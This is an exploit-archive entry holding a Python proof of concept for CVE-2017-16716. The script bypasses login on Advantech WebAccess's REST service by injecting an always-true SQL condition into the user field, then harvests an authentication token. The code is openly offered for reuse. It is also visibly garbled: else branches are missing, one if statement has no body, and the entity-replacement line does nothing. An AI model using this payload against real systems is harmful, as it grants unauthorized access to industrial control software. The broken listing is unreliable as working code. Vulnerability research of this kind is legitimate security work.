Advantech WebAccess 8.3 - SQL Injection

Type exploitpack
Reporter Chris Lyne
Modified 2018-01-30T00:00:00


Advantech WebAccess 8.3 - SQL Injection


# Exploit Title: Advantech WebAccess BWSCADARest Login Method SQL Injection Authentication Bypass Vulnerability
# Date: 01-13-2018
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage:
# Software Link:
# Version: Advantech WebAccess 8.0-2015.08.16
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-16716
# See Also:

# Notes:
# There are two service interfaces:
# 1) SOAP
# 2) REST
# This PoC targets REST
# The web services did not work out of the box, and a new website/app was created in IIS for testing.
# This issue was potentially due to the fact that testing was completed against a trial version.
# PoC may need slight tweaks depending on configuration of the web service.
# Original vulnerability was reported for more recent software version.
# This WebAccessAuthBypass class can be imported :-) 

import sys, requests
from xml.etree import ElementTree

class WebAccessAuthBypass:
    def __init__(self, ip, port):
        self.ip = ip
        self.port = port
        self.base_url = "http://%s:%s/BWMobileService/BWScadaRest.svc/" % (ip, port)
    def convert_entities(self, s):
	return s.replace('>', '>').replace('<', '<') # convert html entities in response, for parsing

    def get_project_list(self):
	print 'Getting list of projects...'
	res = requests.get(self.base_url)
	projects = list()
	if res.status_code != 200:
	    print 'Bad HTTP response...'
	    if 'PROJECT' not in res.text:
		print 'No projects listed by service.'
		s = self.convert_entities(res.text)
		xml = ElementTree.fromstring(s)
		for project_list in xml:
		    for project in project_list:
			name = project.get('NAME')
			if name is not None:
	if len(projects) > 0:
	    print 'Found the following projects: ' + str(projects)
	    return projects
	    return None

    # returns a token
    def login(self, project):
	# SQL Injection into the user parameter
	url = self.base_url + "Login/" + project + "/notadmin'%20or%20'x'%3D'x/nopass" # notadmin' or 'x'='x
	res = requests.get(url)
	token = None
	if res.status_code != 200:
	    print 'Bad HTTP response...'
	    if 'OK TOKEN' not in res.text:
		print 'No token returned by service.'
		s = self.convert_entities(res.text)
		xml = ElementTree.fromstring(s)
		if len(xml) > 0:
		    token = xml[0].get('TOKEN')
	return token

    # token returned can be used for more transactions
    def get_token(self):
        project_list = self.get_project_list()
        project = project_list[0] # might as well pick the first project
        token = self.login(project_list[0])
        return token

if __name__ == "__main__":
    ip = 'targetip'
    port = 'port#'
    bypass = WebAccessAuthBypass(ip, port)
    token = bypass.get_token()

    if token is not None:
	print 'Successfully got an authentication token: ' + token
	print 'Unsuccessful.'